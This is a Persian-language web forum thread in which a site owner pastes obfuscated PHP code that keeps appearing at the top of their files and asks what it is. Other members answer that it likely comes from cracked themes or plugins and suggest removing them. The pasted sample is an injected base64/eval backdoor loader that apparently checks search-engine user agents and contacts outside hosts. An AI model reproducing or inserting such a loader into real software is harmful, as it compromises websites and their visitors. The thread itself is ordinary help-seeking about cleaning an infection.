kingblog

کد عجیب

7 پست در این موضوع قرار دارد

سلام

دوستان یه کد عجیب است که خود به خود به اول کدهای یک فایل پی اچ پی اضافه میشه و همه چیز رو به هم میریزه قبلا یه بار اینجوری شده بود که مجبور شدم همه فایلهای پی اچ پی رو جایگزین کنم الان هم دوباره اول برخی فایل های پی اچ پی اضافه میشه

اینم کدش:


<?php /*versio:3.02*/ $GLOBALS["droxyl"]="JNyaW5pX3NldAYWxsb3dfdXJsX2ZvcGVuwCrBZGlzcGxheV9lcnJvcnMdZmVkb3IvcmVzdG9yZV9hZgacUMy4wMghuDdGhhaDFOaWV0aGFpMnphaDZBaHIzoAUHaHR0cDovLwcUPqtSFRUUFMb2ZmDRaHR0cHM6Ly8ySFRUUF9IT1NUKKmdW5pb24xDXvDwbNBc2VsZWN0fsUkVRVUVTVF9VUkkU0NSSVBUX05BTUUUVVFUllfU1RSSU5HYTbOEKPwejQxZGV0ZXJtaW5hdG9yDWrLgeKyIKFLmxvZwzSFRUUF9ZX0FVVEgkieYmFzZTY0X2RlY29kZQOvJdmVyc2lviMQZLQvbwrcLXBocAhlpbKXSFRUUF9FWEVDUEhQxkEwuNb3V0aLb2seSFRUUF9VU0VSX0FHRU5ULAtCxZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAxVfSYQePLYmxhYnVlbC5uZXQKXeZmFzdGFkZHouY29tvWPCL3czLnBocD91PQRusiJms9sfSXJnQ9cGhwJnA9JnY9ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYzdHZvdG9XL3lxN3hFd3dNQWdvb3RQTGpjMGM1MDZUT1czajJKT2N6R2tJd3FaU2VjbEx0T2wzdjJzL0VHeDFjdjRTMTlwN3ZkZHZyUjM0U0x6eXNCL0UyQk1GRHhjNGk0TFlLWkpNNlBkZlVRQnN2NHpkSWtoaUc5ZEJYdVRpRm9lQnYzSlRVWldHc3FiMnlibFpFQWQyam91V09aUTBWZGJWdm95MC92VVpQbHcyWlcwS2ZCWDRiNmpSZ3V5WEVEdXJ3NkV1Vmw0czluRGs1VzR1bzArOW9zelR6UnBaNk83eHg0OCtla1V0SlFyY0xDbUNDSXRGVm1LUWwrR2l6R0xrNDhSdlJMelQ0a1RlM3ZlZTh6Qnp0bUt2VHNzd3JHVFVpL3pVZDU3Qm8xNjBkb3UwQU9HQ1cyYWhjSTE2KzFXMUtuWkE0VHhGc01HdEFsZ2tUTlRGWjNCUmNNSXcyZGx3eWZhVEZNZENIMWtnUlJPSXpkeXdtUitFbUp5MjNTUXVjQXhoRmRaRmtYNFpEQVNrSUc0UCtXSUdLVWo0dExQOFoxZWdidUF3eCtkU3cwM3NVL3NQYnZtU2c3VXpUaFhoYW0rRGd5VEpUM3lBdENRcDhhTG5iZU00ZGs2WXVNWXVzR2I4b3NqRnl1anI0K0xIL2NQU2hoOFovUXZiM1pLWWZsbk85L25OSC9PRmpId0hmUHZ0eWNWOCtiaTRXeTV1N241K0l6ZDR5aTlmK0hwL2R6Zi91bHplL2ptL2YxekthRXdDc1FxTEtIcW00V0Z1Ti9lSUtKSngydzJUSEhlb0pPQTRTb3U5eUM5RG1Gc3hnbkQ5MW1TWFU1dE1rVkpsTlVqVStYbmlia2hkdEZVM1VhSHl0c242c1BGbEdyOXFEeDhHMTluVUx4R3oyU1UxOXBnNmROb1JZTGFmbHFRSW1wWVIvamRmb2xlZWhUZEJJV25JTitqN2N2a3cwQlFWQ1A5ay84VHc4ejNKaXk4SVBsNjVTVytVUWNLVWxmRytURURGdy9jSCsvNm5JZ3dFaFh6K05WLzh2TDIvTzZQME1jZlo1NXRucU9rdm9KemRwL0lhbWJzMTFMNTRkYUhQdVZOOTlPa1RFdC8xTmZyY3N2K0Q5SDRiRUlVRUZ0cXBZNGltVDJpdnpIeWV5Q01NOU9wTkdhUTFPSVhyTkV3OExBcEgrK1JHSkp3clk0SlkvUFF2OWFuRmxTQTZjNCtkb3pyZlRxREdUYjJpMnI2azRjSEp4SjdyMTFYcHdQa0VKM3NYZ3hQWVhTZEkrTnNXRk01VWhDL3d6Zmc4U2FmZ2xWWk9Wbm1GVjIwUEc3RzMzbTdxbWdocXdLVm4vNXd2SUVPL09PdUozTzVWL3JhTWF1dUl3SVlwQVVMckpDQkJtSUd5bGpWU3BaRXUwejRKL04waGRGcVdOcFRNaWF5Yk5JNjBXRG84U2ROMU1oSlk0UVk1alY5alRIdE1oK0ZneUdiL3FSa3hzek9ITkZQU05YSUlYVm5vU0I2UEpYTXFqeWpDdlZjL0dzUE1NV1JONHpuZ0J4UXJMN0lpQVV6RzJWbE4ra2dhVG1WTjc1TU0rMG1HSFhjTmJXZVQ5bkZ5eEpOaS9iZk5HTEVaaEtZRWJSaFJic1daQnN4Rms0eEZLdUlYdi8vVWphRXFqVlVaNHRSQytTVng1bFRTSUZpVDM4bURvSUFUVE40YkdDZGVYUXE5S3VucVNOWU1FbnFDSng4T21KREQ0WkNlb05qNE1Wb1RVeHJxOUFESjhzVWs2NW9oYVJEVjhVVlZtcUZLQmpPRzlHOG5nQ05wb3N0NkgwYklPUU9tSTJta1VzSFg3eG90VGRKVnRVbjNkVlVmUkZJaC9yN0NtOUR5Z2l4MkFFUnMrOXZ0ajdsdDk1VS9iaGN3RWU0WGY0UDRoNXZGRFh4Q1BhZTQydGNIOFBzbXk1eTlpSVNCaDZ0QnZvNmd2WVZCRWFVRHhZZHgvYm1NZzdvbDNYNmRONVRXWEdINTU0UHdkRXFaSDBuenU3KzZKNXEvWU5VSmhWK2dlb2owNDRaUkF2dzRuZzFrRzN3VFlJbmlyaW9DTzNyOHUwcy84dzFqd0M3bEY3Z3VGRDBHM2trTDhJQ1FKa2hXbTJ4ZDhOcS80bk9RRTBtbzJhZGluWTBzMjQ5eWU1Y0ZoYk1DOU8vZVpNYVFyWU1ScjlFSzlHOGFIRzFtS2p0MlRRdWN0a3ZZamxBeURnQjJYaEhiWk1VT2lnRFVqR2daTm90bTAzQzlvS3dTSEZzTlNwd3J0YlpDaWFHSHZFNTJrVFdMUEtOUnJQQ3h5QkZVNFhCSndIRzNyc3VWYTcwclNxVURsanJNZmIydmNMblhINHpYUWIybU05dTVPSXJJNlhPUzcwbThHSzBWcVVOdk10aStBS3BENEJ0VDZwQmxjYjNFc3pSY1IwWGFBc3BRMDBHUVJnWW9HMDU4QnAyT3N1UHhLU0RDR0NCS2JpWkp4OHN4K0RBeHFaOXNBTFc4NFhCSUlIN2NieGFkS25aeHVyYTRPZWNjMEtlcVpJNDVxc0N6QTFkTzJOejdsOFlPSjlMUVVHR0V5QzNrVEdBQ3dITmwyR2NWVWdlRnlJcWx0L0pmRGdleWNIMGpleWxFUDR5Y29DZ0pOdjUrcXVnbVZKNXVrQ2ZReVZocFZvNU9rVTBrZlV3cW9XT1FEaUdkam1RREJoM3R2a081amVMTnU4bkRUSkdQM0N2TG9sYlN2YWdxNHkzYk45bXUrYUZXSVBqR1dCNmZhSjFBVWFyRUZGSm44U3JjMXVRMU1DdEpyN25FNm5PT3FyUldET3JtekNjdER2M045TU55VHBhM1Bpd3hCV3cwekU3K2g0bUhQM1FwUEc1cDdDTGQwR25vclNWc2ZpZVEwSUFKZVVJMWZ0RmlLSkxTWFl0dHB3QmV1bUhwWVR1Qit1alFPeGpRcEJjZWFFUVA3WVdYdUU1ZWprT2dIYkprSnhvVFJ6c1JHMDVneXJFeDEzVGRxUlZFSWdlYVRoZzVpWGpKdG5QVW5YK3FLWTAwZUJ5UG9HZll3VTdhZEEyYVRaTkhSOXhvZVNOaktFMU5zc2g4N0xVeERNM3BoRjVqTFVwMisxV3c4Y2g3OXQxam1FVUFGdDcyUFh6OU1ib01uZm43NWoxMGpVMFkvZ2FETHI2Ty9SL0lEVE5EIikpKTsV"; if (!function_exists('qelifbcp')){function qelifbcp($a, ${$c=$GLOBALS['droxyl'];$d=pack('H*','6261736'.'536345f6465636f6465'); return $d(substr($c, $a, $);};eval(qelifbcp(566,3283));};?>

چه جور ویروسیه و چجوری وارد میشه و چه باید کرد؟

0

به اشتراک گذاری این پست


لینک به پست

قالبتون رایگانه؟

0

به اشتراک گذاری این پست


لینک به پست

بله از قالب کلیشه استفاده میکنم

البته این کد رو بیشتر توی قسمتهای دیگه میبینم مثلا کدهایی که بعنوان ابزار توی یه پوشه دیگه هاستم قرار دادم یا وقتی یه اسکریپت نصب کردم(که مثلا یه اسکریپت نصب میکنم و بعد از مدتی میبینم اید کد اضافه شده و اون فایل رو از کار میندازه)

بعضی از افزونه هام نیز این مشکل رو پیدا کردن

ویرایش شده در توسط kingblog
0

به اشتراک گذاری این پست


لینک به پست

این نوع کدها معمولا از یک اسکریپت یا افزونه یا قالب غیر رایگان که کرک شده و رایگان عرضه می شند کپی می شند و وظایف زیادی می تونند داشته باشند که همشون مخربند اول باید فایل کرک شده را پیدا کنید و از سیستمتون حذفش کنید و بعد کدها را یکی یکی حذف کنید

2

به اشتراک گذاری این پست


لینک به پست

ممنون

در مورد فایل کرک شده کامل تر توضیح بدید یعنی توی قالبم باید دنبال چه فایلی بگردم؟ یا دنبال چه کدی؟

این لینک رو هم خوندم نمیدونم دقیقا باید چیکار کنم

http://stackoverflow.com/questions/19328508/how-do-i-determine-what-this-code-does-and-if-it-might-be-malicious

ویرایش شده در توسط kingblog
0

به اشتراک گذاری این پست


لینک به پست

برای اینکه دوباره این کد وارد فایلهام نشه بهتره چیکار کنم؟

قالب پولی باشه؟ نیاز به افزونه هست؟ ...

0

به اشتراک گذاری این پست


لینک به پست

باسلام

هم می توانید قالب پولی استفاده کنید و هم اینکه از قالب های معتبر استفاده کنید

بهترین قالب های پارسی تو اینجا قرار دارند :

ماندگار وب

3

به اشتراک گذاری این پست


لینک به پست

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری